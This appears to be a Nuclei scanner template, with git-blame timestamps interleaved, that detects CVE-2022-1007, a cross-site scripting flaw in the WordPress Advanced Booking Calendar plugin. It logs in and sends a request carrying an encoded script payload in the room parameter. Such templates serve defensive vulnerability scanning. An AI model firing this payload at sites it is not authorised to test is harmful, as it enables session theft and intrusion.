2022-10-21 15:27:05 +00:00
id : CVE-2022-1007
info :
2022-12-09 21:40:18 +00:00
name : WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
2022-10-21 15:27:05 +00:00
author : 8arthur
severity : medium
description : |
2022-12-09 21:40:18 +00:00
WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-10-21 15:27:05 +00:00
reference :
- https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
- https://wordpress.org/plugins/advanced-booking-calendar/
- https://nvd.nist.gov/vuln/detail/cve-2022-1007
2023-04-12 10:55:48 +00:00
- https://plugins.trac.wordpress.org/changeset/2695427
2022-10-21 15:27:05 +00:00
classification :
2022-10-24 13:22:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-10-21 15:27:05 +00:00
cve-id : CVE-2022-1007
2022-10-24 13:22:12 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00112
cpe : cpe:2.3:a:elbtide:advanced_booking_calendar:*:*:*:*:*:wordpress:*:*
2022-10-23 04:16:56 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-06-04 08:13:42 +00:00
verified : true
2023-07-11 19:49:27 +00:00
framework : wordpress
vendor : elbtide
product : advanced_booking_calendar
2022-10-24 13:22:12 +00:00
tags : wp-plugin,advanced-booking-calendar,cve,cve2022,wp,authenticated,wpscan,wordpress,xss
2022-10-21 15:27:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-21 15:27:05 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
2022-10-23 04:16:56 +00:00
req-condition : true
2022-10-21 15:27:05 +00:00
matchers :
2022-10-23 04:16:56 +00:00
- type : dsl
dsl :
- "contains(body_2, '<script>alert(document.domain)</script>')"
- "contains(body_2, 'advanced-booking-calendar')"
2023-06-19 21:10:30 +00:00
- "contains(header_2, 'text/html')"
2022-10-24 13:05:24 +00:00
- "status_code_2 == 200"
2022-10-22 22:33:56 +00:00
condition : and